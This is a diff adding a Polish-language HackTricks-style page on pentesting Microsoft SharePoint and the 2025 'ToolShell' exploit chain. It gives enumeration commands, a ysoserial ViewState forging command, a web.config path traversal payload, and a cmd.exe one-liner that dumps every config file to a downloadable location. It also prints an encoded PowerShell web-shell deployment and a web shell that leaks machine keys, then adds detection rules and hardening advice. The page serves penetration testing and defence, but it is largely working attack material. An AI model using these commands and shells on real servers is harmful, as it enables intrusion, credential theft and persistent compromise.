- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitor Pages for changes
|
||||
### Monitorowanie stron pod kątem zmian
|
||||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), aby monitorować strony pod kątem modyfikacji, które mogą wprowadzać luki.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
### HackTricks Automatyczne Komendy
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -0,0 +1,126 @@
|
||||
# Microsoft SharePoint – Pentesting & Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (lokalnie) jest zbudowany na ASP.NET/IIS. Większość klasycznego ataku na powierzchnię webową (ViewState, Web.Config, web shells, itp.) jest zatem obecna, ale SharePoint dostarcza również setki własnych stron ASPX i usług webowych, które znacznie powiększają wystawioną powierzchnię ataku. Ta strona zbiera praktyczne triki do enumeracji, eksploatacji i utrzymywania się w środowiskach SharePoint z naciskiem na łańcuch eksploatacji 2025 ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
# favicon hash and keywords
|
||||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||||
|
||||
# version leakage (often in JS)
|
||||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
|
||||
# interesting standard paths
|
||||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||||
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Wstrzykiwanie kodu w ToolPane.aspx
|
||||
|
||||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` pozwala na wstrzyknięcie dowolnego kodu *Server-Side Include* na stronę, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wykonuje `Process.Start()` i wprowadzić złośliwy ViewState.
|
||||
|
||||
### 2.2 CVE-2025-49706 – Nieprawidłowe obejście uwierzytelniania
|
||||
|
||||
Ta sama strona ufa nagłówkowi **X-Forms_BaseUrl**, aby określić kontekst witryny. Wskazując go na `/_layouts/15/`, MFA/SSO wymuszone na stronie głównej może być obejście **bez uwierzytelnienia**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Deserializacja ViewState bez uwierzytelnienia → RCE
|
||||
|
||||
Gdy atakujący kontroluje gadżet w `ToolPane.aspx`, mogą przesłać **niesigned** (lub tylko MAC) wartość `__VIEWSTATE`, która wywołuje deserializację .NET wewnątrz *w3wp.exe*, prowadząc do wykonania kodu.
|
||||
|
||||
Jeśli podpisywanie jest włączone, skradnij **ValidationKey/DecryptionKey** z dowolnego `web.config` (patrz 2.4) i sfałszuj ładunek za pomocą *ysoserial.net* lub *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
```
|
||||
Aby uzyskać szczegółowe wyjaśnienie dotyczące nadużywania ASP.NET ViewState, przeczytaj:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – Przechodzenie ścieżek / ujawnienie web.config
|
||||
|
||||
Wysłanie spreparowanego parametru `Source` do `ToolPane.aspx` (np. `../../../../web.config`) zwraca docelowy plik, umożliwiając wyciek:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ fałszowanie ViewState / ciasteczek ASPXAUTH
|
||||
* ciągi połączeń i sekrety.
|
||||
|
||||
## 3. Przepisy poeksploatacyjne zaobserwowane w dziczy
|
||||
|
||||
### 3.1 Ekstrakcja każdego pliku *.config* (wariant-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
Wynikowy `debug_dev.js` można pobrać anonimowo i zawiera **wszystkie** wrażliwe konfiguracje.
|
||||
|
||||
### 3.2 Wdrożenie powłoki sieciowej ASPX zakodowanej w Base64 (wariant-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Przykład zdekodowanego ładunku (skrócony):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
Response.Write(MachineKey.ValidationKey);
|
||||
// echo secrets or invoke cmd
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Napisane do:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Shell udostępnia punkty końcowe do **odczytu / rotacji kluczy maszyny**, co pozwala na fałszowanie ciasteczek ViewState i ASPXAUTH w całej farmie.
|
||||
|
||||
### 3.3 Obfuscated variant (variation-3)
|
||||
|
||||
Ten sam shell, ale:
|
||||
* umieszczony w `...\15\TEMPLATE\LAYOUTS\`
|
||||
* nazwy zmiennych zredukowane do pojedynczych liter
|
||||
* dodano `Thread.Sleep(<ms>)` dla unikania piaskownicy i omijania AV opartego na czasie.
|
||||
|
||||
## 4. Pomysły na wykrywanie
|
||||
|
||||
| Telemetria | Dlaczego to jest podejrzane |
|
||||
|------------|------------------------------|
|
||||
| `w3wp.exe → cmd.exe` | Proces roboczy rzadko powinien uruchamiać powłokę |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Klasyczny wzór lolbin |
|
||||
| Zdarzenia plików tworzące `debug_dev.js` lub `spinstall0.aspx` | IOCs prosto z ToolShell |
|
||||
| `ProcessCmdLine ZAWIERA ToolPane.aspx` (logi ETW/Module) | Publiczne PoCs wywołują tę stronę |
|
||||
|
||||
Przykład reguły XDR / Sysmon (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. Wzmacnianie i łagodzenie
|
||||
|
||||
1. **Patch** – aktualizacje zabezpieczeń z lipca 2025 roku naprawiają *wszystkie* cztery CVE.
|
||||
2. **Rotuj** każdy `<machineKey>` i sekrety `ViewState` po naruszeniu.
|
||||
3. Usuń *LAYOUTS* uprawnienia do zapisu z grup `WSS_WPG` i `WSS_ADMIN_WPG`.
|
||||
4. Zablokuj zewnętrzny dostęp do `/_layouts/15/ToolPane.aspx` na poziomie proxy/WAF.
|
||||
5. Włącz **ViewStateUserKey**, **MAC enabled** oraz niestandardowe *EventValidation*.
|
||||
|
||||
## Powiązane triki
|
||||
|
||||
* IIS po eksploatacji i nadużycie web.config:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Unit42 – Aktywna eksploatacja luk w zabezpieczeniach Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – łańcuch eksploatacji ToolShell](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user